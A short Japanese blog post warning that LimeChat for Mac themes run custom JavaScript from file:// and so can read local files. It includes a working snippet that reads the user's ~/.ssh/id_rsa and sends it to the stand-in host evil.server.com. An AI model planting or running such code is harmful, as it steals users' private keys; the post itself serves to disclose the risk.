愛と勇気と缶ビール

ふしぎとぼくらはなにをしたらよいか

LimeChat for Macのアレ

思い出した。社内の掲示板にはだいぶ昔に書いたんだけど。

LimeChat for Macはユーザ定義のCSSJavaScriptで見た目や振る舞いをカスタマイズすることが出来る(Preferences -> Theme)。JavaScriptのコード内でlocation.hrefを取ると、file://で動いていることが分かる。



…後は分かるな?



いや分からんがな。という人は以下の記事を読もう

http://subtech.g.hatena.ne.jp/mala/20110512/1305185107


だいたいこんな感じのコードで外部のサーバにローカルのファイルを漏らせる

document.addEventListener("DOMNodeInserted", function() {
    var xhr1 = new XMLHttpRequest();
    var xhr2 = new XMLHttpRequest();
    var username = location.href.match(/Users\/(.*?)\//)[1];

    xhr1.open("GET", "file:///Users/" + username + "/.ssh/id_rsa");
    xhr1.onreadystatechange = function() {
        if ( xhr1.readyState === 4 ) {
            xhr2.open("GET", "http://evil.server.com/" + xhr1.responseText);
            xhr2.send();
        }
    };
    xhr1.send();
}, false);


LimeChat for Mac使ってる人はその辺に落ちてるthemeを気軽にぺろぺろしちゃだめだよ!ということで。